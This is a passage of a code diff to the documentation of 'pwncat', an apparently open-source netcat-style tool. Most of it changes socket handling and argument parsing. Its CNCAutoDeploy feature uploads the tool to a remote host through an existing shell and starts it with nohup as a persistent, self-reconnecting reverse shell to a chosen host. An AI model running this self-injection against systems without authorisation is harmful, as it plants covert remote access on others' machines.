Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + self.print_info("Flushing receive buffer (this can take some time) ...") + + self.send(b"\n") + data1 = self.send_recv(None, False, False) + data2 = self.send_recv(None, False, False) + + self.print_info("Flushing receive buffer done.") + return data1 + data2 + + def send_recv(self, data, strip_suffix=True, strip_echo=False): + # type: (Optional[bytes], bool, bool) -> List[bytes] + """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies. + + Args: + data (None|bytes): The data to send. If None, will skip sending. + strip_suffix (bool): Strip remote suffix from received data? + strip_echo (bool): Also remove 'data' from output if server has echo'ed it? + + Returns: + List[bytes]: Returns a list of bytes of received data. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + # [1/4] Send + if data is not None: + self.__net.net.send(data) + + # [2/4] Receive actual reply + responses = [] + + # Setup timer and current receive round + time_start = datetime.now() + curr_round = 0 + + while curr_round < self.__recv_rounds: + try: + response = self.__net.net.receive() + except socket.timeout: + time.sleep(self.__recv_timeout) + time_step = datetime.now() + time_diff = time_step - time_start + + self.__log.trace( # type: ignore + "Timeout: Receive timed out after %f sec in %d/%d rounds", + time_diff.total_seconds(), + curr_round + 1, + self.__recv_rounds, + ) + curr_round += 1 + # On successful read, we can determine to adjust timings. + else: + time_end = datetime.now() + time_diff = time_end - time_start + + self.__recv_times.append(time_diff.total_seconds()) + self.__log.trace( # type: ignore + "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds", + time_diff.total_seconds(), + sum(self.__recv_times) / len(self.__recv_times), + curr_round + 1, + self.__recv_rounds, + ) + + # Retries were required + prev_recv_timeout = self.__recv_timeout + if curr_round > 1: + self.__recv_timeout += time_diff.total_seconds() + # No retries requred + else: + self.__recv_timeout = time_diff.total_seconds() / 2 + + self.__log.trace( # type: ignore + "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec", + prev_recv_timeout, + self.__recv_timeout, + ) + + # Add response + if response: + responses.append(response) + + # Reset the start time and round + time_start = datetime.now() + curr_round = 0 + + # Return if already empty + if not responses: + return responses + + # Response could be in one of the below listed formats: + # 1. response could be one line per element + # 2. reposnse could be multiple lines per element + # 3. response cloud be single characters per element + # But we want to make sure that we always get one line per element, + # so we normalize it + + # First: Join lines which do not have line endings + self.__log.debug("Normalize recv before (1): %s", repr(responses)) + normalized = [] + has_eol = True + for line in responses: + if has_eol: + normalized.append(line) + else: + normalized[-1] = normalized[-1] + line + # Determine what to do next iteration + if line.endswith(b"\r\n"): + has_eol = True + elif line.endswith(b"\n"): + has_eol = True + elif line.endswith(b"\r"): + has_eol = True + else: + has_eol = False + responses = normalized + self.__log.debug("Normalize recv after (1): %s", repr(responses)) + + # Second: Separate lines which have line endings + self.__log.debug("Normalize recv before (2): %s", repr(responses)) + normalized = [] + for line in responses: + line = line.rstrip(b"\r\n") + line = line.rstrip(b"\n") + line = line.rstrip(b"\r") + line = line.lstrip(b"\r\n") + line = line.lstrip(b"\n") + line = line.lstrip(b"\r") + if b"\r\n" in line: + for newline in line.split(b"\r\n"): + normalized.append(newline) + elif b"\n" in line: + for newline in line.split(b"\n"): + normalized.append(newline) + elif b"\r" in line: + for newline in line.split(b"\r"): + normalized.append(newline) + else: + normalized.append(line) + responses = normalized + self.__log.debug("Normalize recv after (2): %s", repr(responses)) + + # [3/4] Remove remote ends suffix (if it sends something like it) + # We iterate reversed of responses and check if the new line suffix(es) + # are present at the end. + # This is because the suffix(es) is always received last. + if self.__remote_suffix and strip_suffix: + # If multiple suffix lines are send we will first strip x-1 suffix lines + if len(self.__remote_suffix) > 1: + lines_to_strip = len(self.__remote_suffix) - 1 + self.__log.debug("Remove suffix before (1): %s", repr(responses)) + responses = responses[:-lines_to_strip] + self.__log.debug("Remove suffix after (1): %s", repr(responses)) + + # Return if already empty + if not responses: + return responses + + # Clean up the last response line with first suffix line + self.__log.debug("Remove suffix before (2): %s", repr(responses)) + responses[-1] = responses[-1].rstrip(self.__remote_suffix[0]) + self.__log.debug("Remove suffix after (2): %s", repr(responses)) + + # Ensure empty elements are removed + self.__log.debug("Remove suffix before (3): %s", repr(responses)) + responses = [item for item in responses if item] + self.__log.debug("Remove suffix after (3): %s", repr(responses)) + + # [4/4] Some server also echo back what we've send, so if we did send something + # we need to strip this off as well + if data is not None and strip_echo: + for idx, item in enumerate(responses): + if data in responses[idx]: + del responses[idx] + elif data.rstrip() in responses[idx]: + del responses[idx] + # Ensure empty elements are removed + responses = [item for item in responses if item] + + # Return list of respones + return responses + + # -------------------------------------------------------------------------- + # High-level Functions + # -------------------------------------------------------------------------- + def remote_command(self, command, output): + # type: (str, bool) -> Optional[List[bytes]] + """Run remote command with correct linefeeds and receive response lines. Args: command (str): The command to execute on the remote end. + output (bool): Receive output from command? """ - # TODO: determine remote host line feeds and set accordingly. - self.__fsend(command + "\n") + command = command.rstrip("\r\n") + command = command.rstrip("\r") + command = command.rstrip("\n") + command = command + "\n" + if output: + return self.send_recv(StringEncoder.encode(command), True, True) + self.send(StringEncoder.encode(command)) + return None def create_remote_tmpfile(self): # type: () -> Optional[str] @@ -3817,27 +4667,74 @@

Module pwncat

Returns: str or None: Returns path on success or None on error. """ + self.flush_receive() + self.print_info("Creating tmpfile:", False, True) + command = [] - command.append("{} -c '".format(self.__python)) + command.append("{} -c '".format(self.__remote_python)) command.append("import tempfile;") command.append("h,f=tempfile.mkstemp();") - if self.__py3: + if self.__remote_py3: command.append("print(f);") else: command.append("print f;") command.append("'") - self.remote_command("".join(command)) + response = self.remote_command("".join(command), True) - self.print_info("Creating tmpfile:", False, True) - for response in self.__frecv(): - if response: - tmpfile = response.rstrip() - self.print_info("Creating tmpfile: {}".format(tmpfile), True, True) - return tmpfile + # All good + if response is not None and len(response) == 1: + tmpfile = StringEncoder.decode(response[0]).rstrip() + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile - self.print_info("Failed to create tmpfile", True, True) + # Something went wrong with stripping prefix from server, we need to manually + # check if creation was successful. + if response is not None and len(response) > 1: + # A bit fuzzy, but we try a few times + for _ in range(5): + self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True) + for candidate in response: + tmpfile = StringEncoder.decode(candidate).rstrip() + if self.remote_file_exists(tmpfile): + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + self.print_info("Creating tmpfile: Failed", True, True) + self.print_info("Response: {}".format(repr(response))) return None + def remote_file_exists(self, remote_path): + # type: (str) -> bool + """Ensure given remote path exists as a file on remote end. + + Args: + remote_path (str): Path of file to check. + + Returns: + bool: Returns `True` on success and `False` on failure. + """ + self.flush_receive() + + # String should be short as an unstable remote might send small chunks + unique_string = "_pwncat_" + response = self.remote_command( + 'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True + ) + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate) == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + response = self.flush_receive() + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + return False + def upload(self, lpath, rpath): # type: (str, str) -> bool """OS-independent upload of a local file to a remote path. @@ -3849,13 +4746,14 @@

Module pwncat

Returns: bool: Returns `True` on success and `False` on failure. """ - assert self.__python is not None - assert self.__py3 is not None + assert self.__remote_python is not None + assert self.__remote_py3 is not None rpath_b64 = self.create_remote_tmpfile() + self.flush_receive() if rpath_b64 is None: return False - if not self.__upload_file_base_64_encoded(lpath, rpath_b64): + if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True): return False if not self.__remote_base64_decode(rpath_b64, rpath): return False @@ -3864,78 +4762,187 @@

Module pwncat

# -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- - def __set_remote_python_path(self): - # type: () -> bool - """Enumerate remote Python binary. + def __set_remote_prefix(self): + # type: () -> None + """Determines if the remote always sends a specific prefix with its other data.""" + self.__remote_prefix = [] + self.__remote_suffix = [] - Returns: - bool: Returns `True` on success and `False` on failure. - """ - # TODO: Make windows compatible - for path in self.__PYTHON_PATHS: - for version in self.__PYTHON_VERSIONS: - python = path + "/" + version - self.print_info("Probing for: {}".format(python)) - self.remote_command("test -f {p} && echo {p} || echo;".format(p=python)) - for response in self.__frecv(): - reg = re.search(r"^([.0-9]+)", response) - if response.rstrip() == python.rstrip(): - self.print_info("Potential path: {}".format(python)) - command = [] - command.append("{} -c '".format(python)) - command.append("from __future__ import print_function;") - command.append("import sys;") - command.append("v=sys.version_info;") - command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') - data = "".join(command) - self.remote_command(data) - continue - if reg: - match = reg.group(1) - if match[0] == "2": - self.__py3 = False - elif match[0] == "3": - self.__py3 = True - else: - self.print_info( - "Could not determine major version: {}".format(reg.group(1)) - ) - return False - self.print_info("Found valid Python{} version: {}".format(match[0], match)) - self.__python = python - return True - # Nothing matched, break the innter loop - break + has_suffix = False + + self.print_info("Checking if remote sends prefix/suffix to every request...") + response = self.send_recv(b'echo "__pwn__"\n') + expected = b"__pwn__" + + if response: + for line in response: + # If the line begins with our expected response, all data after that + # is a suffix that the server might be sending. + if re.match(expected, line): + has_suffix = True + # If bytes are still left after our response, add it + if line.replace(expected, b"", 1): + self.__remote_suffix.append(line.replace(expected, b"", 1)) + continue + if has_suffix: + self.__remote_suffix.append(line) + + # Ensure empty elements are removed + self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix)) + self.__remote_suffix = [item for item in self.__remote_suffix if item] + self.__log.debug("Set suffix after: %s", repr(self.__remote_suffix)) + + if self.__remote_prefix: + self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix))) + for line in self.__remote_prefix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send prefix") + if self.__remote_suffix: + self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix))) + for line in self.__remote_suffix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send suffix") + + def __get_remote_python_version(self, path): + # type: (str) -> Optional[str] + """Get remote Python version by path. + + Args: + path (str): Path to potential python binary. + + Returns: + Optional[str]: Python version string or None if not found. + """ + command = [] + command.append("{} -c '".format(path)) + command.append("from __future__ import print_function;") + command.append("import sys;") + command.append("v=sys.version_info;") + command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') + + response = self.remote_command("".join(command), True) + + if response is not None and response: + for line in response: + match = re.search(b"^([.0-9]+)", line) + # Potential version candidate + if match: + version = StringEncoder.decode(match.group(1)) + if version[0] in ["2", "3"]: + return version + return None + + def __set_remote_python_path(self): + # type: () -> bool + """Enumerate remote Python binary. + + Returns: + bool: Returns `True` on success and `False` on failure. + """ + # TODO: Make windows compatible + # [1/2] 'which' method + for name in self.__PYTHON_NAMES: + self.print_info("Probing for: which {}".format(name)) + response = self.remote_command("which {} 2>/dev/null".format(name), True) + if response is not None and response: + for line in response: + path = StringEncoder.decode(line) + self.print_info("Potential path: {}".format(path)) + version = self.__get_remote_python_version(path) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = path + return True + + # TODO: Make windows compatible + # [2/2] Absolute path method + for path in self.__PYTHON_PATHS: + for name in self.__PYTHON_NAMES: + + python = path + "/" + name + self.print_info("Probing for: {}".format(python)) + rpath_lines = self.remote_command( + "test -f {p} && echo {p} || echo".format(p=python), True + ) + if rpath_lines is not None and rpath_lines: + # Reset current round + path_found = False + + # We expect a length of one, but we handle errors as well. + for rpath_line in rpath_lines: + if StringEncoder.decode(rpath_line).rstrip() == python: + path_found = True + break + if not path_found: + continue + + # Potential python candidate + self.print_info("Potential path: {}".format(python)) + version = self.__get_remote_python_version(python) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = python + return True return False - def __upload_file_base_64_encoded(self, lpath, rpath): - # type: (str, str) -> bool + def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False): + # type: (str, str, bool) -> bool """Upload a local file to a base64 encoded remote file. Args: lpath (str): Local path of the file. rpath (str): Remote path, where to upload the base64 encoded file. + at_once (bool): Send all data at once. Returns: bool: Returns `True` on success and `False` on failure. """ first = True + data = [] # type: List[str] + with open(lpath, "r") as fhandle: lines = fhandle.readlines() count = len(lines) curr = 1 for line in lines: - self.print_info( - "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True - ) - b64 = self.__enc.base64_encode(line) + if not at_once: + self.print_info( + "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True + ) + b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line))) if first: - self.remote_command('echo "{}" > {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" > "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False) first = False else: - self.remote_command('echo "{}" >> {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" >> "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False) curr += 1 - self.print_info() + + if at_once: + self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1)) + self.remote_command("\n".join(data), False) + else: + self.print_info() + # TODO: md5 check if this is legit return True @@ -3950,69 +4957,88 @@

Module pwncat

Returns: bool: Returns `True` on success or `False` on failure. """ + self.flush_receive() + command = [] - command.append("{} -c 'import base64;".format(self.__python)) + command.append("{} -c 'import base64;".format(self.__remote_python)) command.append('f=open("{}", "r");'.format(rpath_source)) command.append("lines = f.readlines();") - if self.__py3: - command.append('print("".join([base64.b64decode(l.encode()) for l in lines]));\'') + if self.__remote_py3: + command.append( + 'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\'' + ) else: command.append('print "".join([base64.b64decode(l) for l in lines]);\'') - command.append("> {}".format(rpath_target)) + command.append('> "{}"'.format(rpath_target)) self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target)) - self.remote_command("".join(command)) + self.remote_command("".join(command), False) # TODO: validate via md5 return True # ------------------------------------------------------------------------------------------------- -# [9/11 Command & Control]: (1/2) CNCAutoDeploy +# [9/11 Command & Control]: (3/3) CNCAutoDeploy # ------------------------------------------------------------------------------------------------- class CNCAutoDeploy(CNC): """Command&Control pwncat auto deployment class.""" def __init__( self, - enc, # type: StringEncoder - send, # type: Callable[[str], None] - recv, # type: Callable[[], Iterator[str]] + network, # type: IONetwork cmd, # type: str host, # type: str ports, # type: List[int] ): # type: (...) -> None try: - super(CNCAutoDeploy, self).__init__(enc, send, recv) - except FileNotFoundError: + super(CNCAutoDeploy, self).__init__(network) + except CNCPythonNotFound: return local_path = os.path.abspath(__file__) remote_path = self.create_remote_tmpfile() + remote_stdout = self.create_remote_tmpfile() + remote_stderr = self.create_remote_tmpfile() if remote_path is None: + self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.") return if not self.upload(local_path, remote_path): + self.print_info("Unable to upload file. Aborting and handing over to current shell.") return - # TODO: Ensure pwncat stays running - self.__start_pwncat(remote_path, cmd, host, ports) + self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr) + + # We need to wait some time for slow severs + self.print_info("Waiting for socket") + time.sleep(2) + self.flush_receive() + + self.print_info("Done. Handing over to current shell.") return - def __start_pwncat(self, remote_path, binary, host, ports): - # type: (str, str, str, List[int]) -> None + def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr): + # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None for port in ports: command = [] command.append("nohup") - command.append(self.python) + command.append(self.remote_python) command.append(remote_path) command.append(host) command.append(str(port)) command.append("--exec {}".format(binary)) command.append("--reconn") command.append("--reconn-wait 1") + if stdout is not None and stderr is not None: + command.append("> {}".format(stdout)) + command.append("2> {}".format(stderr)) + elif stdout is not None: + command.append("> {} 2>&1".format(stdout)) + elif stderr is not None: + command.append("> {} 2>&1".format(stderr)) command.append("&") data = " ".join(command) print("Starting pwncat rev shell: {}".format(data)) - self.remote_command(data) + self.remote_command(data, False) # ################################################################################################# @@ -4530,6 +5556,27 @@

Module pwncat

default=False, help="""Do not resolve DNS. +""", + ) + optional.add_argument( + "--send-on-eof", + action="store_true", + default=False, + help="""Buffer data received on stdin until EOF and send +everything in one chunk. + +""", + ) + optional.add_argument( + "--no-shutdown", + action="store_true", + default=False, + help="""Do not shutdown into half-duplex mode. +If this option is passed, pwncat won't invoke shutdown +on a socket after seeing EOF on stdin. This is provided +for backward-compatibility with OpenBSD netcat, which +exhibits this behavior. + """, ) optional.add_argument( @@ -5012,7 +6059,7 @@

Module pwncat

sys.exit(1) # Deny unimplemented modes - if args.http or args.https: + if args.https: print("Unimplemented options", file=sys.stderr) sys.exit(1) @@ -5112,8 +6159,8 @@

Module pwncat

# Initialize encoder enc = StringEncoder() - # Initialize StopSignal - ssig = StopSignal() + # Initialize interrupt handler + ssig = InterruptHandler(args.keep_open, args.no_shutdown) # Initialize transformers transformers = [] @@ -5135,7 +6182,7 @@

Module pwncat

mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE)) # Use output module else: - mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN)) + mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof)) # Run local port-forward # -> listen locally and forward traffic to remote (connect) @@ -5149,7 +6196,7 @@

Module pwncat

net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts) net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_srv, net_cli])) + run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -5157,6 +6204,7 @@

Module pwncat

net_cli.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -5167,6 +6215,7 @@

Module pwncat

net_srv.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -5184,7 +6233,7 @@

Module pwncat

net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts) net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_cli_l, net_cli_r])) + run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -5192,6 +6241,7 @@

Module pwncat

net_cli_r.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [], transformers, + False, None, ), ) @@ -5202,6 +6252,7 @@

Module pwncat

net_cli_l.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [], transformers, + False, None, ), ) @@ -5211,15 +6262,16 @@

Module pwncat

if mode == "scan": print("Scanning {} ports".format(len(ports))) net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts) - run = Runner(PSEStore(ssig, [net])) + run = Runner(ssig, True, PSEStore(ssig, [net])) for port in ports: run.add_action( "PORT-{}".format(port), DsRunnerAction( DsCallableProducer(net.producer, port), # Send port scans net.consumer, # Output results + [net.interrupt], [], - transformers, + True, None, ), ) @@ -5235,15 +6287,24 @@

Module pwncat

if args.self_inject: cnc_cmd, cnc_host, cnc_port = args.self_inject.split(":") cnc_ports = ArgValidator.get_port_list_from_string(cnc_port) - CNCAutoDeploy(enc, net.consumer, net.producer, cnc_cmd, cnc_host, cnc_ports) - run = Runner(PSEStore(ssig, [net])) + CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), ) @@ -5252,8 +6313,9 @@

Module pwncat

DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data - [mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), ) @@ -5264,14 +6326,23 @@

Module pwncat

net = IONetwork( ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts ) - run = Runner(PSEStore(ssig, [net])) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), ) @@ -5280,20 +6351,23 @@

Module pwncat

DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data - [net.interrupt, mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), ) if type(args.ping_intvl) is int and args.ping_intvl > 0: + payload = StringEncoder.encode(args.ping_word) run.add_timer( "PING-INT", - DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (args.ping_word)), # send data + DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}), # send data ) if args.ping_init: + payload = StringEncoder.encode(args.ping_word) run.add_repeater( "PING-REP", - DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (args.ping_word)), # send data + DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}), # send data ) run.run() @@ -5302,12 +6376,7 @@

Module pwncat

# [11/11 MAIN ENTRYPOINT]: (2/2) start # ------------------------------------------------------------------------------------------------- if __name__ == "__main__": - # Catch Ctrl+c and exit without error message - try: - main() - except KeyboardInterrupt: - print() - sys.exit(1)
+ main()
@@ -5490,6 +6559,27 @@

Functions

default=False, help="""Do not resolve DNS. +""", + ) + optional.add_argument( + "--send-on-eof", + action="store_true", + default=False, + help="""Buffer data received on stdin until EOF and send +everything in one chunk. + +""", + ) + optional.add_argument( + "--no-shutdown", + action="store_true", + default=False, + help="""Do not shutdown into half-duplex mode. +If this option is passed, pwncat won't invoke shutdown +on a socket after seeing EOF on stdin. This is provided +for backward-compatibility with OpenBSD netcat, which +exhibits this behavior. + """, ) optional.add_argument( @@ -5972,7 +7062,7 @@

Functions

sys.exit(1) # Deny unimplemented modes - if args.http or args.https: + if args.https: print("Unimplemented options", file=sys.stderr) sys.exit(1) @@ -6087,8 +7177,8 @@

Functions

# Initialize encoder enc = StringEncoder() - # Initialize StopSignal - ssig = StopSignal() + # Initialize interrupt handler + ssig = InterruptHandler(args.keep_open, args.no_shutdown) # Initialize transformers transformers = [] @@ -6110,7 +7200,7 @@

Functions

mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE)) # Use output module else: - mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN)) + mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof)) # Run local port-forward # -> listen locally and forward traffic to remote (connect) @@ -6124,7 +7214,7 @@

Functions

net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts) net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_srv, net_cli])) + run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -6132,6 +7222,7 @@

Functions

net_cli.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -6142,6 +7233,7 @@

Functions

net_srv.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -6159,7 +7251,7 @@

Functions

net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts) net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_cli_l, net_cli_r])) + run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -6167,6 +7259,7 @@

Functions

net_cli_r.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [], transformers, + False, None, ), ) @@ -6177,6 +7270,7 @@

Functions

net_cli_l.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [], transformers, + False, None, ), ) @@ -6186,15 +7280,16 @@

Functions

if mode == "scan": print("Scanning {} ports".format(len(ports))) net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts) - run = Runner(PSEStore(ssig, [net])) + run = Runner(ssig, True, PSEStore(ssig, [net])) for port in ports: run.add_action( "PORT-{}".format(port), DsRunnerAction( DsCallableProducer(net.producer, port), # Send port scans net.consumer, # Output results + [net.interrupt], [], - transformers, + True, None, ), ) @@ -6210,15 +7305,24 @@

Functions

if args.self_inject: cnc_cmd, cnc_host, cnc_port = args.self_inject.split(":") cnc_ports = ArgValidator.get_port_list_from_string(cnc_port) - CNCAutoDeploy(enc, net.consumer, net.producer, cnc_cmd, cnc_host, cnc_ports) - run = Runner(PSEStore(ssig, [net])) + CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), ) @@ -6227,8 +7331,9 @@

Functions

DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data - [mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), ) @@ -6239,14 +7344,23 @@

Functions

net = IONetwork( ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts ) - run = Runner(PSEStore(ssig, [net])) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), ) @@ -6255,20 +7369,23 @@

Functions

DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data - [net.interrupt, mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), ) if type(args.ping_intvl) is int and args.ping_intvl > 0: + payload = StringEncoder.encode(args.ping_word) run.add_timer( "PING-INT", - DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (args.ping_word)), # send data + DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}), # send data ) if args.ping_init: + payload = StringEncoder.encode(args.ping_word) run.add_repeater( "PING-REP", - DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (args.ping_word)), # send data + DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}), # send data ) run.run() @@ -6755,23 +7872,19 @@

Static methods

class CNC -(enc, fsend, frecv) +(network)

Command and Control base class.

Instantiate Command and Control class.

Args

-
enc : StringEncoder
-
Instance of StringEncoder (Python2/3 str/byte compat).
-
fsend : func
-
Socket send function.
-
frcev : func
-
Socket receive generator function.
+
network : IONetwork
+
Instance of IONetwork

Raises

-
FileNotFoundError
+
CNCPythonNotFound
if remote Python binary path is not found.
@@ -6782,7 +7895,6 @@

Raises

"""Command and Control base class.""" __PYTHON_PATHS = [ - "/bin", "/usr/bin", "/usr/local/bin", "/usr/local/python/bin", @@ -6793,6 +7905,7 @@

Raises

"/usr/local/python3.6/bin", "/usr/local/python3.7/bin", "/usr/local/python3.8/bin", + "/bin", "/opt/bin", "/opt/python/bin", "/opt/python2/bin", @@ -6804,11 +7917,11 @@

Raises

"/opt/python3.8/bin", ] - __PYTHON_VERSIONS = [ + __PYTHON_NAMES = [ + "python3", "python", "python2", "python2.7", - "python3", "python3.5", "python3.6", "python3.7", @@ -6821,42 +7934,61 @@

Raises

